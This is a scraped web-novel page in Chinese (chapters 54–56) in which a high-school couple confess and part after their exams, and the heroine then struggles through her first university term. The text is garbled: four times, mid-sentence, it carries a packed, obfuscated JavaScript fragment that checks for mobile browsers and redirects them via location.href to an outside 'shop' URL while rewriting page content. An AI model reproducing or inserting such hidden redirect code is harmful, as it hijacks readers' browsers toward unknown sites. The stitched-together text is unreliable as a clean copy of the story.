l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908945|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她中午吃了抗病毒的药,又嚼了两瓣生蒜,刷牙的时候那叫一个刺激。 下午数学考试,乔洛感觉头越来越发沉,鼻子也逐渐感觉有些堵,乔洛不得已摘下了口罩,再不摘的话不用等到感冒严重就先被憋死了。 这该死的感冒还是趁虚而入传染了吗,到底谁说的骨髓捐献不影响供体,不影响个屁,要是什么事情都没有怎么可能这就被传染了。 更该死的是乔洛在发现自己读不进去题之后摸了摸自己的脑门——坏消息,她都能感知到,发烧了。 就这样数学还能有134分,乔洛看到成绩之后不得不感叹她自己还真是厉害。 最后一门是英语。 乔洛又提前交了卷纸,她真的一点不想再听那个擤鼻涕的声音了。 她走出教室,深吸了一口气,教室外面的空气真新鲜。 有一种,一切终于结束了的解脱感。 晕晕的。 世界突然变成黑色而无声的了。 乔洛再次睁开眼,便看到了丁似霰……还有几个老师。 “我,从楼梯上滚下来了?”乔洛大概知道发生了什么,她正在作痛的脚踝告诉她,至少脚是崴了。 “乔洛你现在感觉怎么样?校医马上就到!”这是乔洛第一次看到老王头慌张的神情。 她从晕过去,滚下楼梯到醒过来,其实只有几秒钟,校医还没有赶到。 乔洛把丁似霰当成了支撑物,站了起来:“老师,我没事,就刚才起猛了有点头晕,走了走了。” “嘶……”乔洛刚一抬脚,便倒吸了一口凉气,这该死的脚脖子,好疼。 丁似霰站到了乔洛身前,弯下腰:“上来吧。” 乔洛也没有推辞,直接吊在了丁似霰背上,还不忘回头和王主任道了一声别,“老师拜拜~” 许是乔洛故意的。 她就是故意的。 乔洛把头垫在丁似霰肩上,在他脖颈处轻轻吹着气。 “丁似霰,你把我接住的吗?” “没接住,只能算是把你从地下捞起来了,”丁似霰倒是一点也没有美化刚刚的场景,“本来只是想赶紧交了卷,出门就看到你滚下来了。” “好吧,那还算有缘。” “嗯。” 有缘,本来就是想提前交卷出来等你的。 但丁似霰没有说。 等乔洛干什么呢,不过就是还想见一面,并没有什么意义的一面。 “你以后也会背别的女孩吗?” “不会。” “话别说的太早哦,你之前还斩钉截铁说的话现在都不做数了。 过个一两年你可能都不记得我长啥样了,万一刚好有个很好的姑娘喜欢你……” “那我也不喜欢。” “丁似霰,你还真是自信得很,这么确定你在大学还会受欢迎呀?” 平日里总是感觉从教学楼到食堂的路好长,长到每一次去抢饭都要靠跑的。 如今却感觉这条路好短,短到说几句话的时间就走到了头。 “放我下来吧,”乔洛从丁似霰背上跳了下来,面对着他。 下午的阳光正盛,乔洛眯起眼抬头看向丁似霰。 这面孔,竟然已经看了三年了,好久。 或许是朝夕相处,乔洛想不出来这三年丁似霰有什么变化,除了又长高了点,这段时间又瘦了点。 乔洛深吸了一口气,似是下定了什么决心:“丁似霰,我……” “我喜欢你。” 他打断了她,先说出了口:“但我,没有能力也没有条件和你在一起了。” 54. 暴雨 乔洛直勾勾的看着他,憋了几秒,终于火力全开:“丁似霰你这个人真的很讨厌,我憋了这么久,打了好几天草稿了,我终于,我终于说服我自己就算知道你会拒绝我也得跟你说一次,你可倒好,你就这时候来能耐了你还给我的话抢了去了!” “那,那要不然,你……”丁似霰弯下腰,凑的更近了些:“你再说一遍?” 乔洛不知为何,感觉鼻子酸酸的,她舔了舔嘴唇,有点尴尬:“毁了,这点好不容易攒起来的氛围都没了,我有病吗我,这时候跟你表白诉衷肠。” 说着说着,乔洛的情绪一下子好像松了口,泪再也克制不住的流了下来。 少年手忙脚乱的想要帮她擦去泪痕,她却越哭越凶。 丁似霰把她拥入了怀中,轻轻抚着乔洛的头;“不哭啦,我们洛洛什么时候因为个男人哭成这样,比我好的人那不是一抓一大把。” “你不是不当我男朋友吗你抱我干啥,你这像摸狗一样摸我脑袋……”乔洛缓过来了一些,不再抽噎,但还是紧紧抱着丁似霰。 她长高了很多,十六岁的乔洛,正好可以把头垫在丁似霰肩上,她还是……把她的少女告白说了出来:“丁似霰,我确实挺喜欢你的,至少在我目前这十六岁的生命里,男女之情,只喜欢你。 可能是缘分差了那么一点吧,这份喜欢现在看来没机会有结果了。但是和你认识,做了三年同学,已经挺美好了。 反正我这么好的姑娘,在哪都很抢手,我跟你说,你要是真的不珍惜,你以后后悔都没用!” 丁似霰悄悄抹去了眼角的的泪。 其实他们不是不能在一起,只是需要面对的事情太多,谁也不知道未来会如何,也没有信心可以一直坚持走下去。 不是所有的欢喜,都能幸运到可以拥有一份未来的。 他承受不起美梦破碎的那一刻,虽未发生,但是恐惧。 既然无法保证未来,那便把美梦唤醒,把记忆封存,至少无论多久之后回忆,除了美好外仅仅只有遗憾。 “洛洛,我的未来我根本看不清会是什么样子,但是你不该这样。” “不是,我不懂啊,你不就是需要赔点钱吗,我可以帮你啊,我妈也同意了,她甚至是主动跟我说的,乔连富的钱怎么支配随我,我把他厂子卖了还不够赔偿款吗?” “我怕,如果我真的和你在一起了,我会,很愧疚。除了赔偿款,还有我妈住院的医疗费,这是个无底洞,还有些……还有些我必须要处理的事情,我没能力再去畅想那个未来。 但这一切都是我自己的事情,你应该自由自在的享受大学生活,去更广阔的天地做你想做的事情。 就算我现在和你在一起了,就算你不会后悔,但我会。那种愧疚感和不配的感觉会让我坚持不下去的。 对不起,我……我知道我很自私也很懦弱,但我真的不敢。 就让我,在你心里,一直是那个略微,带些美好的回忆好不好……” 丁似霰把头埋在了乔洛肩上,他好像每次流泪都无声无息,但乔洛能感觉到。 乔洛沉默了许久,只是轻轻拍着丁似霰的背。 “丁似霰,你以后不许找比我漂亮太多的姑娘,我会嫉妒。”乔洛的声音中还带着鼻音,闷闷的。 “哪里有比你漂亮的呢,这个要求束缚不住我。” “还是喜欢你这种油嘴滑舌的,说的话我很爱听,”乔洛深吸一口气,尽力压下了情绪:“你把眼睛闭上,我送你个礼物,不许睁开。” “好。”丁似霰很听话,乖乖闭上眼,“那你以后也千万别被臭男人骗了,找对象至少也得比我各方面都好点的。” “好,”乔洛松开丁似霰,后退了一步,明目张胆地盯着他,视线逐渐模糊,但又随泪水滴落变得清晰了些:“但是这样我就很难找了,真是个坏家伙。” 阳光打在丁似霰背后,好像给他的发丝都镀了一层暖光。 乔洛不禁感叹,这么好看的人儿,可惜了,不是她的。 “丁似霰。” “我在听。” “我希望,你以后可以过得很好,阿姨快快醒过来,你事业有成,家庭美满。 哪怕我知道这些都与我无关。 但是有些葡萄不管我吃不吃得到,我都希望它是甜的。 你也是,和葡萄一样,无论与我有没有关系,我都希望你可以幸福快乐。” 丁似霰好像想说些什么。 乔洛一手搭在丁似霰肩上,借着力踮起脚,另一只手覆在了丁似霰的唇上,堵住了还未发出声音的字节,然后,仰起头,飞快亲了一下。 “别睁眼,我不好意思。” “好。” 乔洛从包里里掏出了一个信封,放在丁似霰手上:“你回家了再拆,我送你的……礼物,分别礼物吧。” “好。” “小光,再见了。” 是再次相见还是再也不见没有人知道。 原来,那份疏离,真的终究变成了别离。 乔洛在食堂门口背对着丁似霰,轻声又说了些什么,便一瘸一拐地离去了。 丁似霰在原地站了很久都未睁开眼,他不想看着她离去,或许是不敢看。 在这场青春的最后,她诉了爱,他应了情。 走过食堂的这堵墙,就是校门了。 是另一个阶段的开始,是没人能预知的未来。 原来生离和死别可以来得这么突然,原来人真的不得不屈服于现实。 考了两天,断断续续下了两天的雨,乔洛转过身去,刚刚还晴空万里的天这么快又变得阴森森的,是云和太阳躲藏的变换游戏,又或是下一场暴雨的前兆。 情永远不知所起,却总是一往而深。 爱偏偏不知何终,唯愿有一天可以淡忘在岁月长河里。 或许未来可以很好,但那个同行的人终究是没了踪影。 是雨后,但没有彩虹出现。 燕子低飞,看得令人心烦。大概错不在燕子吧,是离别的心绪扰得人不宁。 丁似霰在原地站了很久,再次睁开眼走出校门,就真的是成年人的世界了。 人,可能总是会无法避免的,被命运推着走,那就且行且珍惜吧。 乔洛的嗓门还是那么响亮,哪怕是哑着的,也没有降低多少音量。丁似霰好像隐约听到了乔洛的哀嚎。 她走出校门,精准的,一瘸一拐的跑向云锦书。 “妈妈我晚上得吃猪蹄补补,我把脚崴了……” 真好,她可以一直这样,开心快乐无忧无虑。 毕竟相逢,已是万幸。 …… 丁似霰很听话,他直到打开自己家的房门,还没有拆开那个信封。 他刚刚关上门,换好鞋,门就又被敲响了。 “快递!丁先生在家吗?” 快递?丁似霰分明最近没买过任何东西,虽不知道是什么,他还是打开了门。 寄件人,云安洛。 这是,她的新名字? “先生,您看看,没问题的话麻烦您付下邮费。”快递员见丁似霰对着寄件的单子发愣,不禁催促了一下。 还是到付件。 丁似霰连忙付了邮费,“啊……抱歉。” 盒子很沉,包装似乎很仔细。 丁似霰拆开了许多层泡沫,才拿出来里面的物件。 是一个长焦的单反相机。 相机侧面贴了一张便利贴:打开,看录像 视频最开始的画面就是……乔洛的腰。 乔洛似乎又调了些什么,才把相机放稳,然后后退几步,整个人出现在镜头里。 她眯着眼睛看了看,然后很满意地点点头,接着,缓缓转了一圈,类似于三百六十度环绕展示。 “怎么样,好看吧?说好了毕业典礼的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908946|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候去找你照相,既然你不来了,那我就提前让你看看,我还特意化了个妆呢! 虽然我听不到,但是感觉好看的话你该夸得夸啊!” 乔洛扎了两个低丸子头,丸子旁还留了两根很细的麻花辫。 她化了妆,不是艺术节那种浓艳的,看起来淡淡的,但是很漂亮。 乔洛上身穿着一件略有些透的短款罩衫,隐约可以看到里面的黑色吊带,以及……露出来的一小节白皙的腰。下身则是条牛仔短裙,包臀的那种,裙摆长度略有些不同,下面还接了一小段白色的蕾丝,裙子很短,露出了两条匀称修长又很白皙的腿。脚上就踩着她平时在家穿的拖鞋,鞋后跟有一个小尾巴,每走一步都会晃一下,很可爱。 她就是故意的,包括最开始画面中的那截腰,鬼知道调了多少次才弄出的这种“不经意”的感觉。 丁似霰点点头,似喃喃自语:“嗯,很漂亮。” “被我迷倒了不丢人的,你现在是不是后悔死了,这么漂亮的姑娘你竟然给推开了,”视频里,乔洛坐在了镜头正对着的椅子上,或许是服装受限,她难得坐得规规整整:“这个相机是送你的,我检查过了,没有问题,而且二手相机贬值很严重。所以,不退不换! 摄影可要比去补课班当黑奴来钱要快,你拿着它……假期多赚点咯,但我还是有点私心……不对,我是有很大私心,你的相机拍的第一个人怎么能不是我呢!所以我就先录个像。 但这个视频有点长,估计挺占内存的,你看完就删了吧。” 屏幕前的人,已经摁下了暂停键,不住地摇着头,他哪里舍得删呢。 丁似霰把相机放在桌子上,捂着脸缓了许久,才勉强让自己可以略微平静些,又继续点开视频。 “还有就是,那个信封。我先声明,里边只有五张刮刮乐,加起来就一百块钱,所以你别有什么负担。 就是,我刮第一张的时候就发现中了个大的,所以……你自己去兑换吧,还有剩下四张也刮开看看,万一我手气真的很好呢,买了五张,反正又不是一种,张张有奖也是有可能嘛! 这些东西就当是你,救急用,与我而言也没什么损失,就当我日行一善。 我要是收到你发消息要退给我的话我就直接给你拉黑,一点回旋的余地都没有,你别挑战权威听到没有?” 乔洛的神情明显有些局促,她说起这些事的时候,一直搓着自己的蕾丝裙边,“就算没有这张刮刮乐,其实我妈也早就和我说过,乔连富的钱怎么支配随我,所以我……” 她似乎思考了一下,又深深叹了口气,“算了,我估计你是要拒了我,那能怎么办?算你没福呗,我又不能强把你拴我身边。 嗯……跟你说个秘密。 其实报道那天我就注意到你了,你就站在我斜前面,我发现我确实挺喜欢男生穿白色短袖加牛仔裤,看起来挺清爽的。 你当时应该就是和许志站在一起,也不知道在聊什么,还挺开心的。 我也是很肤浅的人啊,那你确实长得很好看嘛,只不过我又不认识你,你长啥样都和我没关系,所以我看两眼就算了。 没想到最后真跟我没关系了。” 她停顿了许久,又继续说道,“照顾好你自己那个小身板,万一过了几年再看到你,我可不想是在什么奇怪的地方。” 乔洛站起身,走到镜头前,弯下腰,拍了拍相机,“或许真的,会者定离吧。 好了,就说这些吧。祝你……你看到视频的时候我是不是应该跟你说完祝福了?那我不说了,我文采有限,憋不出那么多好屁,拜拜!” 听到这里,丁似霰不禁对着定格住的屏幕笑了一下。 紧接着,泪就像断了线一样流出。 刚刚下了一段暴雨,如今却又放晴,这次隐隐约约似乎有一小段彩虹藏在晚霞间。 太阳落山的速度很快,这转瞬即逝的美景终还是被黑夜吞没。 55. 谭棠 高考结束的第二天,乔洛就去改了名字。 从今以后,只有云安洛了。 最初云锦书给她取的名字,是岁安,所求所盼只有让这个女儿岁岁平安。 至于洛,本应是落,似乎是落空的意思,几经周折后才变成了洛。 但无论初衷是什么,大概这个洛字她也用惯了,便不想再换。 当然,洛,正如丁似霰所说,也可以是美似洛神。 又或者它可以只是一个很普通的字。 名字只是个代称而已,它被赋予的意义,该由值得的人定义。 想来也可笑,女人怀胎十月生的孩子,既不跟自己的姓氏,也不能决定这孩子的名字。 哪怕这孩子差点就让他们老乔家断子绝孙。 哪怕是在离婚以后,想去给孩子改个姓氏,也被百般刁难拒绝。 所幸,以后云安洛和乔家,真的再无关系了。 估分的时候云安洛就知道自己的分数大概是不够被谭棠大学的建筑学录取的,但是倒也有其他专业确实是游刃有余。 她还是报了谭棠大学的建筑学,并且鬼使神差地,服从调剂。 后来,云安洛被谭棠大学的金融系录取了,她那时就感觉,成绩单上理综250分这个数字好像在骂她,服从调剂,真是个二百五。 杨可期在南菀中医药大学,学中医,并且是五加三一体化。 许志留在了奉州,奉州科技大学,计算机科学与技术。 除了云安洛,倒也都算按部就班。 至于丁似霰,他确实再也没有和云安洛联系过。 云安洛只是微微旁敲侧击提了一下,许志就很积极地告诉了她和杨可期,丁似霰在南菀理工大学,土木工程。 南菀和谭棠都在南方,两个城市离得非常近,甚至有公交车互通。 “如果早知道会被扔去学金融,我是真的说什么都不会服从调剂,”云安洛在查到录取信息后,很无奈地和杨可期聊天,“果然我这个运气,我就不该赌。” “那……你想过复读吗?你还可以和苦命的医学牲一起毕业。” “没有,我坚决不复读,没那份毅力。” 上了大学后的日子和他们想象的并不一样,谭棠大学在谭棠西北边的郊区,交通不便,平日里连出租车都很难看到,唯一固定的交通工具就是大门口的发车时间并不准确的公交车。 原来所谓的学习氛围浓郁,是因为交通过于垃圾,在村沟沟里根本没什么娱乐,除了学习也不知道能做点什么。 杨可期在的中医药大学在南菀最东面,再向东走就是山区,据说他们以后需要进山去采草药。 虽说南菀和谭棠离得很近,但是南菀在谭棠的东南面,丁似霰倒是和杨可期离得更近些,南菀理工大学在南菀的大学城那里,他和杨可期之间的距离打车的话连半个小时都不到。 开学军训的时候两个姑娘第一次见识到南方太阳的毒辣,三十八、九度的天气站在太阳底下暴晒,时不时的还会有叫不出名字的昆虫飞过来,那种感觉云安洛说她再也不想尝试了。 站军姿的时候,云安洛一直在发呆,毕竟这样时间会过得快一些。 云安洛看着自己前面站着的四个男生,突然就有点想丁似霰了,至少丁似霰站在身边还能遮个阳,再看看这几个,基本都和云安洛差不多高,就那么几个“大个”也比她只高了五六厘米,军训剪了寸头,显得更矮了,站在前面什么都挡不住。 也不知道丁似霰剪寸头什么样,太可惜了,南菀理工军训似乎没有这个要求。 不过印象中他头型还不错,估计就算真的剪了寸头,也能挺帅的吧。 其实别的班级也是有长得高一点的男生的,只是云安洛他们班,确实没有。 想着想着,云安洛好像有点看不清前面的画面了。 然后,她就栽在了地上,不过她竟然还用最后的意识控制自己,避开了身旁的男生,倒在旁边的空地上。 是的,她中暑了。 或许是给乔连富抽了骨髓之后一直没太休息,哪怕是高考后的暑假在家确实有略微注意一些保养,云安洛的身体也还是变差了,一个暑假就感冒了两次,还时不时会腰疼。 她好像是可以开证明,直接去伤病连的,但这样的话军训就只有及格分。 转专业是需要成绩排名原专业前二十且无挂科记录的,云安洛不敢。军训一共要十四天,她真的感觉这十四天简直像一百四十天那样漫长。 还有三天结束军训的时候,谭棠突然降了温,只剩了十几度,还下着南方独有的天气预报都不太能识别出来的保湿喷雾,刮着在各个方向乱吹的大风。 军训结束的那个晚上,云安洛躺在床上给杨可期发消息,她床下的垃圾桶的满满都是擤鼻涕用掉的纸巾,很好,这鬼天气,她又感冒了。 ——我现在真的怀疑这边人都是怎么活这么大的。 乔洛感觉开学的半个月就很难那熬了,到底是谁在说南方宜居? ——我也很怀疑,这几天我快被蚊子咬死了,全身上下二十多个包! 杨可期的日子也不好过。 ——那我倒还真的没有被蚊子咬,是不是我现在的血太不好喝了,前几天晚上打着手电筒走路,我还清晰地看到一只蚊子绕过我飞走了。 不过你的驱蚊草药包呢?没用了? ——可能南菀的蚊子不怕新柳的草药吧。 你以前的血也不好喝,从小跟着你爬树钻草堆就只有我被咬,等我以后成老中医了我必须抽你的血研究研究驱蚊花露水。 ——那我等着你造福人类哈,这点牺牲我还是可以接受的,记得科研成果把我名字挂上。 你能听懂这里的人说话吗,我室友她们七个说话我感觉像是什么奇怪的咒语,根本听不懂。 ——别说室友了,开学那天班主任给开了个班会,我听得最清楚的就是仅有的这几个北方人说的话,我甚至感觉京爷的话当时都是那么的亲切。而且我班主任是个老头,他说话我加起来都没听清超过二十个字。 ——你比我还惨哈哈哈哈哈,但我班主任说话我也听不清,他还是什么副院长好像,但是我不知道为什么总感觉他看起来有点......奸诈。 ——可能是心眼比较多吧,当了官的人,哪有什么简单的。 ——明天还有早自习,不聊了我要睡觉了。 云安洛很用力的擤了一下鼻涕,真要命,上了大学还要上早自习,起得比高中都早。 谭棠大学和谭棠的机场非常近,近到每天在学校里无论哪个角落,都能听到飞机起飞和降落的声音,那声音永远比早上的闹钟更早更吵。 云安洛这半年都在寝室教学楼和食堂之间像陀螺一样不停歇,她很想转走,甚至不再是为了转去建筑学,而仅仅是为了不用再学商科。 管理学,政治经济学,还有各种考证的培训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908947|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班广告……那都是一堆什么鬼东西?乔洛唯一能写明白的作业只有高等数学。 幸好大一的专业课还不是很多,更多的是一些公共基础课,而转专业则是在大一上学期结束,还是有机会的。 杨可期也很忙,学医的人,无论大几都很忙。在她们为数不多的通话里,云安洛听到了很多她未曾听到的穴位,还有中药的名字。 唯一的慰藉可能就是给云锦书打电话,但是长途话费好贵,而且云安洛姥姥身体没那么好了,云锦书白天上班,晚上去陪老人家,属实抽不出多少时间来陪云安洛聊天。 云安洛这半年来有时会怀疑自己到底在做什么,每天听着老师们说着她听不清也听不懂的课,每天把所有的时间都用来学习,却感觉看不懂的文章越来越多,听不懂的听力也越来越多。 甚至心理健康课上,让写一份自己的墓志铭,云安洛想了想,根本无从下笔。写什么呢? 无功绩可书,无过往需忆,甚至也无未来能憧憬。 为了这一份成绩,她还是很认真的写了一份,一份看起来很积极很眷恋世界又值得纪念的人生总结,虽然只有那一句,生而为人真的很累是真心话。 云安洛在学期初加入了学校融媒体社团的音频电台部。 社团有一个官方的账号,每周三周日出两篇作品,双周周日是原创稿件,其余时间可以在网络上面寻找合适的公开稿件。但云安洛加入之后,两个月过去了,也并没有任何动向,她只是隔一周会被分配一篇稿件的修音和配乐。她也不清楚,谁读稿子这件事情,到底是怎样决定的。 按道理讲,文案写作和播音读稿并没有太大关联,但或许是社团里负责写稿子的人江郎才尽,十月末的时候干事们收到通知,希望他们踊跃写稿,并且有很大机会可以读自己的稿子。 第二百四十六期的主题,是遗憾。 云安洛看到这个主题后,脑子里想到的,就是丁似霰了。 她语文作文不算好,但文笔确实也不差,偶尔还会蹦出来一些看起来不错的句子,只是云安洛并不喜欢语文作文那种包办婚姻还要让人猜新娘的命题模式。 那篇《我的月光》,全票当选第二百四十六期的稿件。 但是云安洛,并不是它的主播。 部长说,云安洛有些字的发音很奇怪。云安洛问他哪些字,他却说不清楚。太遗憾了,大一上学期没机会考普通话证,不然云安洛真的很想把普通话一乙证书甩在这个nl、hf都分不清的自恋男脸上。 但是人在屋檐下,身并不由己,云安洛哪怕得不到一个合理的解释,也只能是这篇稿件的作者。 哦,还是封面的作者,她写稿子的那天晚上顺手就画了一张,并且在失去读稿权后,把封面上的“洛”字水印放大了五倍,并且更改了透明度,存在感极强地落在封面右下角。 读稿人,定下来的是一个很娇小可爱的姑娘,云安洛甚至不太记得她叫什么,印象里只有她留下的主播名叫“知羽”。 选电台主播那天下午,是金融学的高等数学期中考试。云安洛在落选后,马不停蹄就跑到了教室做数学题。 本来就低落的心情在看到那些她完全没有印象的题目时,更加糟糕了。 明明平时做作业的时候她还和杨可期吐槽过,商学院的高数真的好简单,这是她所有科目里唯一一个能自己流畅地不借助外力写下来的作业。 如今看来,好像一无是处了。 56. 徒劳 那天晚上,云安洛在操场上躺了很久。 是个阴天,空中没有星星,更没有月亮。 她的月光,似乎真的再也看不见了。 第二天就有高数课,老师大概是看了卷纸,在刚上课的时候就和学生们说,这个期中考试是商学院的高数助理——也就是那几个数学院的大三学生出的题,与老师无关,所以他期末的给分标准里并不会参考这个与他无关的期中考试。 更重要的信息是,老师说这个卷纸出得很过分,大概四成的题都超出了平时的教学范围,甚至有一道大题是数学专业的学生才会学的。 所以,这张卷能及格就已经很厉害了,答到四十五分以上,期末考试大概率卷面都能近八十分。 那天晚上这荒谬的期中考试就出了成绩,云安洛六十八分,班级第二,金融专业第五,商学院第九。 云安洛又坐在了操场上和杨可期打着电话。 她刚骂了一句那几个数院的大三老东西是不是脑子有泡,就好像显到了他们学得多一样,就看到了更令她惊讶的一幕:音频电台部部长和知羽在操场上牵着手遛弯! 她仅仅愣了几秒,就扣上帽子戴着口罩把自己隐藏在了黑夜里,然后把所见画面描述给了杨可期。 接着,继续转移对象,骂了这个男人:“去他的发音有问题吧,我看他是畜生的本能占领大脑了!” 那场深刻又短暂的自我怀疑好像是云安洛大一上学期最微不足道的片段,又似乎让她对许多事情都失去了兴趣。 云安洛依旧偶尔会找一个不算太冷的晚上,在田径场最高的看台上,趴在地下看月亮。 她不喜欢看太阳,谭棠的太阳射出来的光都很晒,无论冬夏。 她把当初丁似霰送的小镯子戴在了左手腕上,如今看来,还是蛮漂亮的。 夜晚总归是有些安静的,飞机起落的声音不再频繁,身旁也没有谭棠的方言叽叽喳喳吵个不停,偶尔会看到某对小情侣在角落接吻,也会有小野猫时不时喵喵叫上几声。 云锦书又教了毕业班,每天都很忙,姥姥也需要照顾,大姨家的表哥又有了孩子,大姨去照顾孙子了,妈妈每天都在学校和姥姥家两点一线。 至于她还有一个大舅?别问,问就是岁数大了自己身体就不太好。 况且,这种时候一般来讲都是女人干活男人享福。 那次丁似霰给云安洛的魔方她一直带在身边,但是从来没有把它拼回过六个面都是完整图案的样子,太难了。 她有时也会在想,丁似霰在做什么呢? 他长得那么好看,在大学一定也很拉风。 他是不是每天都在打工,上课已经很忙了,他怎么有那么多时间的? 有一天,云安洛在看月亮的时候,突然又想起了他。 她假期就买了新手机,但还是把那个小诺基亚戴在了身上。三年的聊天记录,云安洛一条也没有删掉。 她又点开丁似霰的对话框,对着手机喃喃自语:“丁似霰,你还记不记得我啊? 你得记得,我感觉你还是挺喜欢我的。” 云安洛鬼使神差地织起了围巾,因为杨可期的一通电话。 “洛洛,我跟你说,我今天和同学去大学城那边玩,竟然看到了丁似霰。” “哦。”云安洛装作并不在意的样子。 也不算是装,她当时在写作文,这种需要发散思维又套公式的东西她最讨厌,也最不擅长,根本没太大精力去听杨可期说了什么。 “他竟然在室内的冰场兼职,那破地方待一会我都感觉透心凉,他们工作服还贼薄,也不知道怎么找了这样的活。” “可能钱多吧。”云安洛的注意力完全在思考这个作文该举什么例子。 “而且他见到我就非常不冷不热打了个招呼就走了,搞得好像很不熟一样。” “不过本来也不太熟,”云安洛放下笔,合上本子,“什么破玩意,还让我给大学发展提建议,我提建议谁会听,要让我建议就赶紧取消转专业对原专业的限制,我要是学得下去我至于想转走吗?” “你又在写作文啊?”杨可期早就习惯了云安洛的吐槽。 “不写了,写不出来,”云安洛才想起来刚刚杨可期说了什么,“你说他在溜冰场兼职?那玩意是干什么的啊?” 照照相难道不比干这种活舒服吗? 啊对,最近这边的鬼天气总是在下雨,阴乎乎的又很冷,确实也没什么可拍的。 “就应该往冰面泼泼水啥的吧,我也不太知道,但我看到他的时候,啧啧小手通红,这时间长了不得长冻疮?” “怎么说也是大手通红,”云安洛还是对他很好奇的:“他怎么样,有没有长残了,还是说像以前那么好看?” “还是那么惹人注意,溜冰场多少小姑娘穿着鞋坐在旁边不滑冰就为了看他,”杨可期道,“我甚至怀疑老板在用他招揽客户。” “嗷,”云安洛不太开心,有一种自己的所有物被别人抢走了的感觉:“随便啊,和我又没关系。” “对对对,和你能有什么关系,好酸啊!” 结束了和杨可期的通话后,云安洛就感觉,自己应该做些什么。 为什么要做,大概因为那奇怪的占有欲。 云安洛总感觉她还是想出现在丁似霰的生命中,其实试着处一处也没什么不行的,总好过自己莫名其妙的在这里吃干醋。 对,就是这样,等忙完这段时间,放了寒假,实在不行就找他去,直接逼宫! 其实她很久之前就给云锦书织过围巾,只是云锦书感觉太热了,很少戴。 她等了很久的公交,去了市中心的针织商场,挑了一款灰蓝色段染的毛线,店家说是羊绒的,她也不懂,那大概是好的。 云安洛的动手能力很强,在她听听力的时候,在背课文的时候,在偶尔听歌发呆的时候,她都在不停舞动手中的棒针。 一周,她就做好了这条围巾。 云安洛知道丁似霰的电话,当然也知道他学校的地址。但是在把围巾装进盒子后,她却迟疑了。 丁似霰会戴吗?他会不会有女朋友了?这么贸然邮过去是不是不太好?这颜色他会喜欢吗? 管它好不好的,就邮了能怎么样吧!云安洛在做了很多种假设后,选择了屏蔽这些假设。 她欲盖弥彰地跑到了市里的驿站,胡乱编了一个寄件名,又跟驿站的阿姨说自己没有手机,用了阿姨的手机号。 这件冲动之举,草率到她没有和任何人谈起,草率到十几年后她看到那条围巾的时候都有些恍惚。 想想也是离谱,不知道是谁寄的围巾,他竟然会收下。 这就像是云安洛漫长的大一上学期中最短暂的插曲,她偶尔会想丁似霰戴着围巾的样子,偶尔会再次试着拧一拧魔方。 但随着期末周的靠近,这些闲情雅致都不再拥有一席之地。 其实,从初中开始云安洛就发现她这个问题了。她不喜欢文科的知识,因为不懂,因为背不下来,所以不喜欢。 起初仅仅是做题的时间慢一些。 后来她会因为读不下去那些文章而有些暴躁,或者说是烦躁更合适一些。 当然也可能,无论烦躁还是暴躁都是因为焦虑,因为一件做不好的事情,却偏偏需要做好。 云安洛不喜欢这种感觉,不可否认,她是有些高傲在的,她不大能接受有什么事情是她努力却无果的,如果有,那就会继续钻牛角尖,直到成功或者是欲望淡去。 但是只要读书,就离不开文科,哪怕进了理科班,语文和英语也是要一直学的。 后来她发现,带着耳机听歌,把声音放得很大会好很多。 但是上了高中之后云安洛已经学会放过自己了,分数低一些就低一些吧,何苦让自己难受。 上了大学,近三年没有戴上的高音量耳机,又出现在了她的生活中,而且时间更长,更持续。 云安洛与杨可期说,让她一定好好学医,如果自己聋了,还要找她治耳朵。 “我佛不渡精神病。”杨可期是这样回复她的。 云安洛已经很努力了,可惜啊,很多努力是没有结果的。 第一门和最后一门考试隔了十几天,所以那门政治经济学出成绩的时候,云安洛还在学校里。 教务系统中五十九分的红色数字格外刺眼。 云安洛不懂占比百分之三十的平时分她为什么只有五十。 那天云安洛赶在教职工下班前,堵在了老师的办公室门口。 她很有礼貌的敲了敲门。 云安洛鞠了躬,直接说了来意,“老师您好,我是金融学一班云安洛,我想来问一下,为什么我的平时分只有五十分。” “那肯定就是你有没交作业或是经常不来上课......”老师的答复让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908948|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云安洛感觉很不解,她难得听清了这里人说话,说得却是她根本听不懂的话语。 “老师,我每一次的作业都有认真写,从来没有过旷课,也没有一次迟到早退,卷面并不高确实是我自己的问题,但我努力了我就是达不到那么好,我也卷面及格了,难道就要因为我没有达到很好的分数就抹杀我平时的努力吗?这样的话我不懂平时分存在的意义。” “那你肯定还是有什么没做好的地方......” 